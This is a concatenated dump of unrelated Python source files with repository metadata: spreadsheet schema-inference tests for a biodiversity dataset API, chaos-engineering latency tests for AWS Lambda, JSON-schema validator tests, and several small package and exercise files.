self.assertEqual(len(schema.fields), len(columns)) self.assertEqual(schema.field_names, columns) field = schema.get_field_by_name('Name') self.assertEqual(field.type, 'string') self.assertFalse(field.required) self.assertEqual(field.format, 'default') field = schema.get_field_by_name('Age') self.assertEqual(field.type, 'integer') self.assertFalse(field.required) self.assertEqual(field.format, 'default') field = schema.get_field_by_name('Weight') self.assertEqual(field.type, 'number') self.assertFalse(field.required) self.assertEqual(field.format, 'default') field = schema.get_field_by_name('Comments') self.assertEqual(field.type, 'string') self.assertFalse(field.required) self.assertEqual(field.format, 'default') def test_infer_dataset_param(self): """ Test that when the param infer_dataset_type is set to False the type in generic even if we have a valid observation type """ columns = ['What', 'Latitude', 'Longitude'] rows = [ columns, ['Observation1', -32.0, 117.75], ['Observation with lat/long as string', '-32.0', '115.75'] ] client = self.custodian_1_client file_ = helpers.rows_to_xlsx_file(rows) with open(file_, 'rb') as fp: # no param: should infer the type payload = { 'file': fp, } resp = client.post(self.url, data=payload, format='multipart') self.assertEqual(status.HTTP_200_OK, resp.status_code) received = resp.json() self.assertEqual(Dataset.TYPE_OBSERVATION, received.get('type')) # with param: return generic. fp.seek(0) payload = { 'file': fp, 'infer_dataset_type': False } resp = client.post(self.url, data=payload, format='multipart') self.assertEqual(status.HTTP_200_OK, resp.status_code) received = resp.json() self.assertEqual(Dataset.TYPE_GENERIC, received.get('type')) schema_descriptor = Package(received.get('data_package')).resources[0].descriptor['schema'] schema = utils_data_package.GenericSchema(schema_descriptor) lat_field = schema.get_field_by_name('Latitude') lon_field = schema.get_field_by_name('Longitude') # no required constraints self.assertFalse(lat_field.required) self.assertFalse(lon_field.required) class TestObservationSchema(InferTestBase): def _more_setup(self): self.url = reverse('api:infer-dataset') def test_observation_with_lat_long_xls(self): """ Scenario: File with column Latitude and Longitude Given that a column named Latitude and Longitude exists Then they should be of type 'number' And they should be set as required And they should be tagged with the appropriate biosys tag And the dataset type should be observation """ columns = ['What', 'Latitude', 'Longitude'] rows = [ columns, ['Observation1', -32, 117.75], ['Observation with lat/long as string', '-32', '115.75'] ] client = self.custodian_1_client file_ = helpers.rows_to_xlsx_file(rows) with open(file_, 'rb') as fp: payload = { 'file': fp, } resp = client.post(self.url, data=payload, format='multipart') self.assertEqual(status.HTTP_200_OK, resp.status_code) received = resp.json() # data_package verification self.assertIn('data_package', received) # verify fields attributes schema_descriptor = Package(received.get('data_package')).resources[0].descriptor['schema'] schema = utils_data_package.GenericSchema(schema_descriptor) lat_field = schema.get_field_by_name('Latitude') lon_field = schema.get_field_by_name('Longitude') self.assertEqual(lat_field.type, 'number') self.assertEqual(lon_field.type, 'number') self.assertTrue(lat_field.required) self.assertTrue(lon_field.required) # biosys types self.assertTrue(BiosysSchema(lat_field.get(BiosysSchema.BIOSYS_KEY_NAME)).is_latitude()) self.assertTrue(BiosysSchema(lon_field.get(BiosysSchema.BIOSYS_KEY_NAME)).is_longitude()) self.assertEqual(Dataset.TYPE_OBSERVATION, received.get('type')) # test biosys validity self.verify_inferred_data(received) def test_observation_with_lat_long_datum_xls(self): """ Scenario: File with column Latitude, Longitude and Datum Given that columns named Latitude, Longitude and Datum exists Then the dataset type should be inferred as Observation And latitude should be of type 'number', set as required and tag with biosys type latitude And longitude should be of type 'number', set as required and tag with biosys type longitude And datum should be of type 'string', set as not required and with biosys type datum """ columns = ['What', 'Latitude', 'Longitude', 'Datum'] rows = [ columns, ['Observation1', -32, 117.75, 'WGS84'], ['Observation with lat/long as string', '-32', '115.75', None] ] client = self.custodian_1_client file_ = helpers.rows_to_xlsx_file(rows) with open(file_, 'rb') as fp: payload = { 'file': fp, } resp = client.post(self.url, data=payload, format='multipart') self.assertEqual(status.HTTP_200_OK, resp.status_code) received = resp.json() # type observation self.assertEqual(Dataset.TYPE_OBSERVATION, received.get('type')) # verify fields attributes schema_descriptor = Package(received.get('data_package')).resources[0].descriptor['schema'] schema = utils_data_package.GenericSchema(schema_descriptor) lat_field = schema.get_field_by_name('Latitude') self.assertEqual(lat_field.type, 'number') self.assertTrue(lat_field.required) biosys = lat_field.get('biosys') biosys_type = biosys.get('type') self.assertEqual(biosys_type, BiosysSchema.LATITUDE_TYPE_NAME) lon_field = schema.get_field_by_name('Longitude') self.assertEqual(lon_field.type, 'number') self.assertTrue(lon_field.required) biosys = lon_field.get('biosys') biosys_type = biosys.get('type') self.assertEqual(biosys_type, BiosysSchema.LONGITUDE_TYPE_NAME) # datum datum_field = schema.get_field_by_name('Datum') self.assertEqual(datum_field.type, 'string') self.assertFalse(datum_field.required) biosys = datum_field.get('biosys') biosys_type = biosys.get('type') self.assertEqual(biosys_type, BiosysSchema.DATUM_TYPE_NAME) # test that we can save the dataset back. self.verify_inferred_data(received) def test_observation_with_easting_northing_datum_xls(self): """ Scenario: File with column Easting, Northing and Datum Given that a column named Easting , Northing and Datum exist Then the dataset type should be inferred as Observation And the type of Easting and Northing should be 'number' And Easting and Northing should be set as required And they should be tagged with the appropriate biosys tag And Datum should be of type string and required. """ columns = ['What', 'Easting', 'Northing', 'Datum', 'Comments'] rows = [ columns, ['Something', 12563.233, 568932.345, 'WGS94', 'A dog'], ['Observation with easting/northing as string', '12563.233', '568932.345', 'WGS94', 'A dog'] ] client = self.custodian_1_client file_ = helpers.rows_to_xlsx_file(rows) with open(file_, 'rb') as fp: payload = { 'file': fp, } resp = client.post(self.url, data=payload, format='multipart') self.assertEqual(status.HTTP_200_OK, resp.status_code) received = resp.json() # should be an observation self.assertEqual(Dataset.TYPE_OBSERVATION, received.get('type')) # data_package verification self.assertIn('data_package', received) # verify fields attributes schema_descriptor = Package(received.get('data_package')).resources[0].descriptor['schema'] schema = utils_data_package.GenericSchema(schema_descriptor) east_field = schema.get_field_by_name('Easting') self.assertIsNotNone(east_field) self.assertEqual(east_field.type, 'number') self.assertTrue(east_field.required) biosys = east_field.get('biosys') self.assertIsNotNone(biosys) biosys_type = biosys.get('type') self.assertEqual(biosys_type, BiosysSchema.EASTING_TYPE_NAME) north_field = schema.get_field_by_name('Northing') self.assertIsNotNone(north_field) self.assertEqual(north_field.type, 'number') self.assertTrue(north_field.required) biosys = north_field.get('biosys') self.assertIsNotNone(biosys) biosys_type = biosys.get('type') self.assertEqual(biosys_type, BiosysSchema.NORTHING_TYPE_NAME) datum_field = schema.get_field_by_name('Datum') self.assertIsNotNone(datum_field) self.assertEqual(datum_field.type, 'string') self.assertTrue(datum_field.required) biosys = datum_field.get('biosys') self.assertIsNotNone(biosys) biosys_type = biosys.get('type') self.assertEqual(biosys_type, BiosysSchema.DATUM_TYPE_NAME) # test that we can save the dataset as returned self.verify_inferred_data(received) def test_observation_with_easting_northing_zone_xls(self): """ Scenario: File with column Easting, Northing and Zone Given that a column named Easting , Northing and Zone exist Then the dataset type should be inferred as Observation And the type of Easting and Northing should be 'number' And Easting and Northing should be set as required And they should be tagged with the appropriate biosys tag And Zone should be of type integer and required. """ columns = ['What', 'Easting', 'Northing', 'Zone', 'Comments'] rows = [ columns, ['Something', 12563.233, 568932.345, 50, 'A dog'], ['Observation with easting/northing as string', '12563.233', '568932.345', 50, 'A dog'] ] client = self.custodian_1_client file_ = helpers.rows_to_xlsx_file(rows) with open(file_, 'rb') as fp: payload = { 'file': fp, } resp = client.post(self.url, data=payload, format='multipart') self.assertEqual(status.HTTP_200_OK, resp.status_code) received = resp.json() # should be an observation self.assertEqual(Dataset.TYPE_OBSERVATION, received.get('type')) # data_package verification self.assertIn('data_package', received) # verify fields attributes schema_descriptor = Package(received.get('data_package')).resources[0].descriptor['schema'] schema = utils_data_package.GenericSchema(schema_descriptor) east_field = schema.get_field_by_name('Easting') self.assertIsNotNone(east_field) self.assertEqual(east_field.type, 'number') self.assertTrue(east_field.required) biosys = east_field.get('biosys') self.assertIsNotNone(biosys) biosys_type = biosys.get('type') self.assertEqual(biosys_type, BiosysSchema.EASTING_TYPE_NAME) north_field = schema.get_field_by_name('Northing') self.assertIsNotNone(north_field) self.assertEqual(north_field.type, 'number') self.assertTrue(north_field.required) biosys = north_field.get('biosys') self.assertIsNotNone(biosys) biosys_type = biosys.get('type') self.assertEqual(biosys_type, BiosysSchema.NORTHING_TYPE_NAME) zone_field = schema.get_field_by_name('Zone') self.assertIsNotNone(zone_field) self.assertEqual(zone_field.type, 'integer') self.assertTrue(zone_field.required) biosys = zone_field.get('biosys') self.assertIsNotNone(biosys) biosys_type = biosys.get('type') self.assertEqual(biosys_type, BiosysSchema.ZONE_TYPE_NAME) # test that we can save the dataset as returned self.verify_inferred_data(received) class TestSpeciesObservation(InferTestBase): def _more_setup(self): self.url = reverse('api:infer-dataset') def test_observation_with_species_name_only_xls(self): """ Scenario: File with column Latitude and Longitude and Species Name should be inferred as species observation Given that a column named Latitude and Longitude and Species Name exists Then the dataset type should be of type speciesObservation And the column 'Species Name' should be of type string And the column 'Species Name' should be set as 'required' And they should be tagged with the speciesName biosys tag. """ columns = ['What', 'When', 'Latitude', 'Longitude', 'Species Name', 'Comments'] rows = [ columns, ['I saw a dog', '2018-02-02', -32, 117.75, 'Canis lupus', None], ['I saw a Chubby bat', '2017-01-02', -32, 116.7, 'Chubby bat', 'Amazing!'], ['I saw nothing', '2018-01-02', -32.34, 116.7, None, None], ] client = self.custodian_1_client file_ = helpers.rows_to_xlsx_file(rows) with open(file_, 'rb') as fp: payload = { 'file': fp, } resp = client.post(self.url, data=payload, format='multipart') self.assertEqual(status.HTTP_200_OK, resp.status_code) received = resp.json() # should be a species observation self.assertEqual(Dataset.TYPE_SPECIES_OBSERVATION, received.get('type')) self.assertIn('data_package', received) schema_descriptor = Package(received.get('data_package')).resources[0].descriptor['schema'] schema = utils_data_package.GenericSchema(schema_descriptor) species_name_field = schema.get_field_by_name('Species Name') # field attributes self.assertIsNotNone(species_name_field) self.assertEqual(species_name_field.type, 'string') self.assertTrue(species_name_field.required) # biosys type biosys = species_name_field.get('biosys') self.assertIsNotNone(biosys) biosys_type = biosys.get('type') self.assertEqual(biosys_type, BiosysSchema.SPECIES_NAME_TYPE_NAME) # test that we can create a dataset with the returned data self.verify_inferred_data(received) def test_observation_with_genus_and_species_only_xls(self): """ Scenario: File with column Latitude, Longitude, Genus and Species should be inferred as species observation Given that a column named Latitude, Longitude, Genus and Species exists Then the dataset type should be of type speciesObservation And the column 'Genus' should be of type string, set as required and tag as biosys type genus And the column 'Species' should be of type string, set as required and tag as biosys type species """ columns = ['What', 'When', 'Latitude', 'Longitude', 'Genus', 'Species', 'Comments'] rows = [ columns, ['I saw a dog', '2018-02-02', -32, 117.75, 'Canis', 'lupus', None], ['I saw a Chubby bat', '2017-01-02', -32, 116.7, 'Chubby', 'bat', 'Amazing!'], ['I saw nothing', '2018-01-02', -32.34, 116.7, None, None, None], ] client = self.custodian_1_client file_ = helpers.rows_to_xlsx_file(rows) with open(file_, 'rb') as fp: payload = { 'file': fp, } resp = client.post(self.url, data=payload, format='multipart') self.assertEqual(status.HTTP_200_OK, resp.status_code) received = resp.json() # should be a species observation self.assertEqual(Dataset.TYPE_SPECIES_OBSERVATION, received.get('type')) self.assertIn('data_package', received) schema_descriptor = Package(received.get('data_package')).resources[0].descriptor['schema'] schema = utils_data_package.GenericSchema(schema_descriptor) # field attributes # genus genus = schema.get_field_by_name('Genus') self.assertIsNotNone(genus) self.assertEqual(genus.type, 'string') self.assertTrue(genus.required) biosys = genus.get('biosys') self.assertIsNotNone(biosys) biosys_type = biosys.get('type') self.assertEqual(biosys_type, BiosysSchema.GENUS_TYPE_NAME) species = schema.get_field_by_name('Species') self.assertIsNotNone(species) self.assertEqual(species.type, 'string') self.assertTrue(species.required) biosys = species.get('biosys') self.assertIsNotNone(biosys) biosys_type = biosys.get('type') self.assertEqual(biosys_type, BiosysSchema.SPECIES_TYPE_NAME) # test that we can create a dataset with the returned data self.verify_inferred_data(received) def test_observation_with_genus_species_infra_rank_and_infra_name_only_xls(self): """ Scenario: File with column Latitude, Longitude, Genus, Species, Infraspecific Rank and Infraspecific Name should be inferred as species observation Given that a column named Latitude, Longitude, Genus, Species Infraspecific Rank and Infraspecific Name exists Then the dataset type should be of type speciesObservation And the column 'Genus' should be of type string, set as required and tag as biosys type genus And the column 'Species' should be of type string, set as required and tag as biosys type species And the column 'Infraspecific Rank' should be of type string, set as not required and tag as biosys type InfraSpecificRank And the column 'Infraspecific Name' should be of type string, set as not required and tag as biosys type InfraSpecificName """ columns = ['What', 'When', 'Latitude', 'Longitude', 'Genus', 'Species', 'Infraspecific Rank', 'Infraspecific Name', 'Comments'] rows = [ columns, ['I saw a dog', '2018-02-02', -32, 117.75, 'Canis', 'lupus', 'subsp. familiaris', '', None], ['I saw a Chubby bat', '2017-01-02', -32, 116.7, 'Chubby', 'bat', '', '', 'Amazing!'], ['I saw nothing', '2018-01-02', -32.34, 116.7, None, None, None, None, None], ] client = self.custodian_1_client file_ = helpers.rows_to_xlsx_file(rows) with open(file_, 'rb') as fp: payload = { 'file': fp, } resp = client.post(self.url, data=payload, format='multipart') self.assertEqual(status.HTTP_200_OK, resp.status_code) received = resp.json() # should be a species observation self.assertEqual(Dataset.TYPE_SPECIES_OBSERVATION, received.get('type')) self.assertIn('data_package', received) schema_descriptor = Package(received.get('data_package')).resources[0].descriptor['schema'] schema = utils_data_package.GenericSchema(schema_descriptor) # field attributes # genus genus = schema.get_field_by_name('Genus') self.assertIsNotNone(genus) self.assertEqual(genus.type, 'string') self.assertTrue(genus.required) biosys = genus.get('biosys') self.assertIsNotNone(biosys) biosys_type = biosys.get('type') self.assertEqual(biosys_type, BiosysSchema.GENUS_TYPE_NAME) # species species = schema.get_field_by_name('Species') self.assertIsNotNone(species) self.assertEqual(species.type, 'string') self.assertTrue(species.required) biosys = species.get('biosys') self.assertIsNotNone(biosys) biosys_type = biosys.get('type') self.assertEqual(biosys_type, BiosysSchema.SPECIES_TYPE_NAME) # infra rank infra_rank = schema.get_field_by_name('Infraspecific Rank') self.assertIsNotNone(infra_rank) self.assertEqual(infra_rank.type, 'string') self.assertFalse(infra_rank.required) biosys = infra_rank.get('biosys') self.assertIsNotNone(biosys) biosys_type = biosys.get('type') self.assertEqual(biosys_type, BiosysSchema.INFRA_SPECIFIC_RANK_TYPE_NAME) # infra name infra_name = schema.get_field_by_name('Infraspecific Name') self.assertIsNotNone(infra_name) self.assertEqual(infra_name.type, 'string') self.assertFalse(infra_name.required) biosys = infra_name.get('biosys') self.assertIsNotNone(biosys) biosys_type = biosys.get('type') self.assertEqual(biosys_type, BiosysSchema.INFRA_SPECIFIC_NAME_TYPE_NAME) # test that we can create a dataset with the returned data self.verify_inferred_data(received)

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py

Python

Data Scientist Career Path/5. Data Manipulation with Pandas/1. Python Lambda Function/4. double or zero.py

myarist/Codecademy

2ba0f104bc67ab6ef0f8fb869aa12aa02f5f1efb

[ "MIT" ]

23

2021-06-06T15:35:55.000Z

2022-03-21T06:53:42.000Z

Data Scientist Career Path/5. Data Manipulation with Pandas/1. Python Lambda Function/4. double or zero.py

shivaniverma1/Data-Scientist

f82939a411484311171465591455880c8e354750

[ "MIT" ]

null

Data Scientist Career Path/5. Data Manipulation with Pandas/1. Python Lambda Function/4. double or zero.py

shivaniverma1/Data-Scientist

f82939a411484311171465591455880c8e354750

[ "MIT" ]

9

2021-06-08T01:32:04.000Z

2022-03-18T15:38:09.000Z

#Write your lambda function here double_or_zero = lambda num: num * 2 if num > 10 else 0 print(double_or_zero(15)) print(double_or_zero(5))

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140

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0

null

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1

0

6

7c15638be80d927ab67a1b4aef2c874b667d134c

120

py

Python

popmon/version.py

sbrugman-ing/popmon

a2ede6b7d56772404e9921545b83886e1a9b3806

[ "MIT" ]

null

popmon/version.py

sbrugman-ing/popmon

a2ede6b7d56772404e9921545b83886e1a9b3806

[ "MIT" ]

null

popmon/version.py

sbrugman-ing/popmon

a2ede6b7d56772404e9921545b83886e1a9b3806

[ "MIT" ]

null

"""THIS FILE IS AUTO-GENERATED BY SETUP.PY.""" name = "popmon" version = "0.3.8" full_version = "0.3.8" release = True

17.142857

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120

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0.233766

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0

0.059406

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null

1

0

1

0

1

0

null

0

6

7c5cfed5b79c43e29cdf264d93a36a6deb2aaf67

127

py

Python

tests/unittests/broken_functions/invalid_in_anno/main.py

yojagad/azure-functions-python-worker

d5a1587a4ccf56af64f211a64f0b7a3d6cf976c9

[ "MIT" ]

1

2018-11-28T22:31:27.000Z

tests/unittests/broken_functions/invalid_in_anno/main.py

yojagad/azure-functions-python-worker

d5a1587a4ccf56af64f211a64f0b7a3d6cf976c9

[ "MIT" ]

null

tests/unittests/broken_functions/invalid_in_anno/main.py

yojagad/azure-functions-python-worker

d5a1587a4ccf56af64f211a64f0b7a3d6cf976c9

[ "MIT" ]

1

2018-04-22T18:03:52.000Z

import azure.functions as azf def main(req: azf.HttpResponse): # should be azf.HttpRequest return 'trust me, it is OK!'

21.166667

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127

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null

0

1

0

1

0

6

7c9120b70f1c809d76ec44f20faa5c83949fea3b

77

py

Python

farmer/ncc/callbacks/__init__.py

tamahassam/farmer

512c6fcd5dc5aa223a0fad02527d8000a4cc9ab4

[ "Apache-2.0" ]

10

2019-04-04T07:32:47.000Z

2021-01-07T00:40:50.000Z

farmer/ncc/callbacks/__init__.py

tamahassam/farmer

512c6fcd5dc5aa223a0fad02527d8000a4cc9ab4

[ "Apache-2.0" ]

59

2019-04-18T05:44:31.000Z

2021-05-02T10:33:02.000Z

farmer/ncc/callbacks/__init__.py

tamahassam/farmer

512c6fcd5dc5aa223a0fad02527d8000a4cc9ab4

[ "Apache-2.0" ]

4

2020-01-23T14:01:43.000Z

2021-02-11T04:16:14.000Z

from .keras_callbacks import * from .keras_prune import KerasPruningCallback

25.666667

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null

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0

1

0

1

0

6

7cb2d47d70fd778410377b005cdfdddfe2b3c597

5,524

py

Python

tests/test_delay.py

adhorn/aws-lambda-failure-injection

a6d10af49ea823dc0d24998fe6d5f5544327fc03

[ "MIT" ]

74

2019-07-17T09:55:09.000Z

2022-02-04T02:27:59.000Z

tests/test_delay.py

adhorn/aws-lambda-chaos-injection

294956d50199eee6b42524b75915e6f5b1da93ca

[ "MIT" ]

16

2019-07-17T07:10:51.000Z

2021-09-28T07:52:38.000Z

tests/test_delay.py

adhorn/aws-lambda-failure-injection

a6d10af49ea823dc0d24998fe6d5f5544327fc03

[ "MIT" ]

9

2019-08-20T01:47:55.000Z

2022-01-30T17:33:48.000Z

from chaos_lambda import inject_fault from . import TestBase, ignore_warnings import unittest import logging import pytest import sys @inject_fault def handler(event, context): return { 'statusCode': 200, 'body': 'Hello from Lambda!' } class TestDelayMethods(TestBase): @pytest.fixture(autouse=True) def inject_fixtures(self, caplog): self._caplog = caplog @ignore_warnings def _setTestUp(self, subfolder): class_name = self.__class__.__name__ self._setUp(class_name, subfolder) config = "{ \"delay\": 400, \"is_enabled\": true, \"error_code\": 404, \"exception_msg\": \"This is chaos\", \"rate\": 1, \"fault_type\": \"latency\"}" self._create_params(name='test.config', value=config) @ignore_warnings def test_get_delay(self): method_name = sys._getframe().f_code.co_name self._setTestUp(method_name) with self._caplog.at_level(logging.DEBUG, logger="chaos_lambda"): response = handler('foo', 'bar') assert ( 'Injecting 400 ms of delay with a rate of 1' in self._caplog.text ) assert ( 'sleeping now' in self._caplog.text ) self.assertEqual( str(response), "{'statusCode': 200, 'body': 'Hello from Lambda!'}") class TestDelayMethodsnotEnabled(TestBase): @pytest.fixture(autouse=True) def inject_fixtures(self, caplog): self._caplog = caplog @ignore_warnings def _setTestUp(self, subfolder): class_name = self.__class__.__name__ self._setUp(class_name, subfolder) config = "{ \"delay\": 400, \"is_enabled\": false, \"error_code\": 404, \"exception_msg\": \"This is chaos\", \"rate\": 1, \"fault_type\": \"latency\"}" self._create_params(name='test.config', value=config) @ignore_warnings def test_delay_not_enabled(self): method_name = sys._getframe().f_code.co_name self._setTestUp(method_name) with self._caplog.at_level(logging.DEBUG, logger="chaos_lambda"): response = handler('foo', 'bar') assert ( len(self._caplog.text) == 0 ) assert ( 'sleeping now' not in self._caplog.text ) self.assertEqual( str(response), "{'statusCode': 200, 'body': 'Hello from Lambda!'}") class TestDelayMethodslowrate(TestBase): @pytest.fixture(autouse=True) def inject_fixtures(self, caplog): self._caplog = caplog @ignore_warnings def _setTestUp(self, subfolder): class_name = self.__class__.__name__ self._setUp(class_name, subfolder) config = "{ \"delay\": 400, \"is_enabled\": true, \"error_code\": 404, \"exception_msg\": \"This is chaos\", \"rate\": 0.000001, \"fault_type\": \"latency\"}" self._create_params(name='test.config', value=config) @ignore_warnings def test_delay_low_rate(self): method_name = sys._getframe().f_code.co_name self._setTestUp(method_name) with self._caplog.at_level(logging.DEBUG, logger="chaos_lambda"): response = handler('foo', 'bar') assert ( 'sleeping now' not in self._caplog.text ) self.assertEqual( str(response), "{'statusCode': 200, 'body': 'Hello from Lambda!'}") class TestDelayEnabledNoDelay(TestBase): @pytest.fixture(autouse=True) def inject_fixtures(self, caplog): self._caplog = caplog @ignore_warnings def _setTestUp(self, subfolder): class_name = self.__class__.__name__ self._setUp(class_name, subfolder) config = "{ \"delay\": 0, \"is_enabled\": true, \"error_code\": 404, \"exception_msg\": \"This is chaos\", \"rate\": 0.000001, \"fault_type\": \"latency\"}" self._create_params(name='test.config', value=config) @ignore_warnings def test_delay_zero(self): method_name = sys._getframe().f_code.co_name self._setTestUp(method_name) with self._caplog.at_level(logging.DEBUG, logger="chaos_lambda"): response = handler('foo', 'bar') assert ( 'sleeping now' not in self._caplog.text ) self.assertEqual( str(response), "{'statusCode': 200, 'body': 'Hello from Lambda!'}") class TestDelayEnabledDelayNotInt(TestBase): @pytest.fixture(autouse=True) def inject_fixtures(self, caplog): self._caplog = caplog @ignore_warnings def _setTestUp(self, subfolder): class_name = self.__class__.__name__ self._setUp(class_name, subfolder) config = "{ \"delay\": \"boo\", \"is_enabled\": true, \"error_code\": 404, \"exception_msg\": \"This is chaos\", \"rate\": 0.000001, \"fault_type\": \"latency\"}" self._create_params(name='test.config', value=config) @ignore_warnings def test_delay_not_int(self): method_name = sys._getframe().f_code.co_name self._setTestUp(method_name) with self._caplog.at_level(logging.DEBUG, logger="chaos_lambda"): response = handler('foo', 'bar') assert ( 'sleeping now' not in self._caplog.text ) assert ( 'Parameter delay is no valid int' in self._caplog.text ) self.assertEqual( str(response), "{'statusCode': 200, 'body': 'Hello from Lambda!'}") if __name__ == '__main__': unittest.main()

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0

null

0

1

0

null

0

6

6b1c34899520bddf6698b7e6ad21f752536d0d87

4,803

py

Python

tests/loading/definition/schema/test_min_and_max_properties.py

maroux/flex

dfd7c6d79d065d7ce1b0c799e51e9bb5292612b2

[ "MIT" ]

160

2015-01-15T05:36:44.000Z

2021-08-04T00:43:54.000Z

tests/loading/definition/schema/test_min_and_max_properties.py

maroux/flex

dfd7c6d79d065d7ce1b0c799e51e9bb5292612b2

[ "MIT" ]

151

2015-01-20T16:45:36.000Z

2022-02-23T21:07:58.000Z

tests/loading/definition/schema/test_min_and_max_properties.py

maroux/flex

dfd7c6d79d065d7ce1b0c799e51e9bb5292612b2

[ "MIT" ]

90

2015-01-20T11:19:36.000Z

2021-08-03T08:58:18.000Z

import pytest from flex.constants import ( OBJECT, STRING, INTEGER, ) from flex.error_messages import MESSAGES from flex.exceptions import ValidationError from flex.loading.definitions.schema import schema_validator from tests.utils import ( assert_path_not_in_errors, assert_message_in_errors, ) def test_min_and_max_properties_are_not_required(): try: schema_validator({}) except ValidationError as err: errors = err.detail else: errors = {} assert_path_not_in_errors('minProperties', errors) assert_path_not_in_errors('maxProperties', errors) @pytest.mark.parametrize( 'value', ('abc', [1, 2], None, {'a': 1}, True, False, 1.1), ) def test_min_properties_for_invalid_types(value): """ Ensure that the value of `minProperties` is validated to be numeric. """ with pytest.raises(ValidationError) as err: schema_validator({'minProperties': value}) assert_message_in_errors( MESSAGES['type']['invalid'], err.value.detail, 'minProperties.type', ) @pytest.mark.parametrize( 'type_', ( STRING, (STRING, INTEGER), ), ) def test_type_validation_for_min_properties_for_invalid_types(type_): with pytest.raises(ValidationError) as err: schema_validator({ 'minProperties': 5, 'type': type_, }) assert_message_in_errors( MESSAGES['type']['invalid_type_for_min_properties'], err.value.detail, 'type', ) @pytest.mark.parametrize( 'type_', ( OBJECT, (STRING, OBJECT, INTEGER), ), ) def test_type_validation_for_min_properties_for_valid_types(type_): try: schema_validator({ 'minProperties': 5, 'type': type_, }) except ValidationError as err: errors = err.detail else: errors = {} assert_path_not_in_errors('type', errors) @pytest.mark.parametrize( 'value', ('abc', [1, 2], None, {'a': 1}, True, False, 1.1), ) def test_max_properties_for_invalid_types(value): """ Ensure that the value of `maxProperties` is validated to be numeric. """ with pytest.raises(ValidationError) as err: schema_validator({'maxProperties': value}) assert_message_in_errors( MESSAGES['type']['invalid'], err.value.detail, 'maxProperties.type', ) @pytest.mark.parametrize( 'type_', ( STRING, (STRING, INTEGER), ), ) def test_type_validation_for_max_properties_for_invalid_types(type_): with pytest.raises(ValidationError) as err: schema_validator({ 'maxProperties': 5, 'type': type_, }) assert_message_in_errors( MESSAGES['type']['invalid_type_for_max_properties'], err.value.detail, 'type', ) @pytest.mark.parametrize( 'type_', ( OBJECT, (STRING, OBJECT, INTEGER), ), ) def test_type_validation_for_max_properties_for_valid_types(type_): try: schema_validator({ 'maxProperties': 5, 'type': type_, }) except ValidationError as err: errors = err.detail else: errors = {} assert_path_not_in_errors('type', errors) def test_min_properties_must_be_greater_than_0(): """ Ensure that the value of `maxProperties` is validated to be numeric. """ with pytest.raises(ValidationError) as err: schema_validator({'minProperties': -1}) assert_message_in_errors( MESSAGES['minimum']['invalid'], err.value.detail, 'minProperties.minimum', ) def test_max_properties_must_be_greater_than_0(): """ Ensure that the value of `maxProperties` is validated to be numeric. """ with pytest.raises(ValidationError) as err: schema_validator({'maxProperties': -1}) assert_message_in_errors( MESSAGES['minimum']['invalid'], err.value.detail, 'maxProperties.minimum', ) def test_min_and_max_properties_with_valid_values(): try: schema_validator({ 'minProperties': 4, 'maxProperties': 8, }) except ValidationError as err: errors = err.detail else: errors = {} assert_path_not_in_errors('minProperties', errors) assert_path_not_in_errors('maxProperties', errors) def test_max_properties_must_be_greater_than_or_equal_to_min_properties(): with pytest.raises(ValidationError) as err: schema_validator({ 'minProperties': 5, 'maxProperties': 4, }) assert_message_in_errors( MESSAGES['max_properties']['must_be_greater_than_min_properties'], err.value.detail, 'maxProperties', )

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null

0

1

0

null

0

6

6b39c39456f7cc0317670f9afbae116f6c98cd85

80

py

Python

app/main/__init__.py

jakhax/esp9266_rfid_lock

e9c25628a023c8d6005a136e240ca1a36589fd36

[ "MIT" ]

2

2020-11-10T09:16:21.000Z

2021-12-15T07:27:17.000Z

app/main/__init__.py

jakhax/consecutive_normal_punches

e9c25628a023c8d6005a136e240ca1a36589fd36

[ "MIT" ]

null

app/main/__init__.py

jakhax/consecutive_normal_punches

e9c25628a023c8d6005a136e240ca1a36589fd36

[ "MIT" ]

null

from flask import Blueprint main=Blueprint("main",__name__) from . import views

20

31

0.8

11

80

5.454545

0.636364

0.433333

0

0.1125

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false

0

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null

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null

0

1

0

1

0

6

865365ff6807936a1cfc53592eb7bd9714770c0c

87

py

Python

twelve/unsupervised/__init__.py

DSE512/twelve

89ced1db394e5689c617edb4c819aec4138c48c3

[ "BSD-3-Clause" ]

3

2021-02-09T15:31:53.000Z

2021-10-31T15:46:51.000Z

twelve/unsupervised/__init__.py

yngtodd/twelve

89ced1db394e5689c617edb4c819aec4138c48c3

[ "BSD-3-Clause" ]

null

twelve/unsupervised/__init__.py

yngtodd/twelve

89ced1db394e5689c617edb4c819aec4138c48c3

[ "BSD-3-Clause" ]

1

2021-12-16T15:33:50.000Z

from .kmeans import Kmeans, kmeans_save from .parallel_kmeans import KmeansDistributed

29

46

0.862069

11

87

6.636364

0.545455

0.328767

0

0.103448

87

2

47

43.5

0.935897

0

1

0

true

0

1

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1

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1

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null

1

0

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0

null

0

1

0

1

0

1

0

6

866118ea8c8a639f4d41f9fa1c66cc8f77cf8e29

27

py

Python

test_python_import_issue/pacx/j.py

zengmeng1094/test-python

79aa30789c2bb8700f660a4d6b13f06960e169e5

[ "MIT" ]

null

test_python_import_issue/pacx/j.py

zengmeng1094/test-python

79aa30789c2bb8700f660a4d6b13f06960e169e5

[ "MIT" ]

null

test_python_import_issue/pacx/j.py

zengmeng1094/test-python

79aa30789c2bb8700f660a4d6b13f06960e169e5

[ "MIT" ]

null

def add(): print('add')

13.5

16

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4

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3.5

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27

2

16

13.5

0.666667

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true

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0

1

0

null

0

1

0

1

0

6

8676f34479e7f82fa07f938c4cb293147fc7bc93

15,831

py

Python

tests/changes/api/test_diff_build_retry.py

vault-the/changes

37e23c3141b75e4785cf398d015e3dbca41bdd56

[ "Apache-2.0" ]

443

2015-01-03T16:28:39.000Z

2021-04-26T16:39:46.000Z

tests/changes/api/test_diff_build_retry.py

vault-the/changes

37e23c3141b75e4785cf398d015e3dbca41bdd56

[ "Apache-2.0" ]

12

2015-07-30T19:07:16.000Z

2016-11-07T23:11:21.000Z

tests/changes/api/test_diff_build_retry.py

vault-the/changes

37e23c3141b75e4785cf398d015e3dbca41bdd56

[ "Apache-2.0" ]

47

2015-01-09T10:04:00.000Z

2020-11-18T17:58:19.000Z

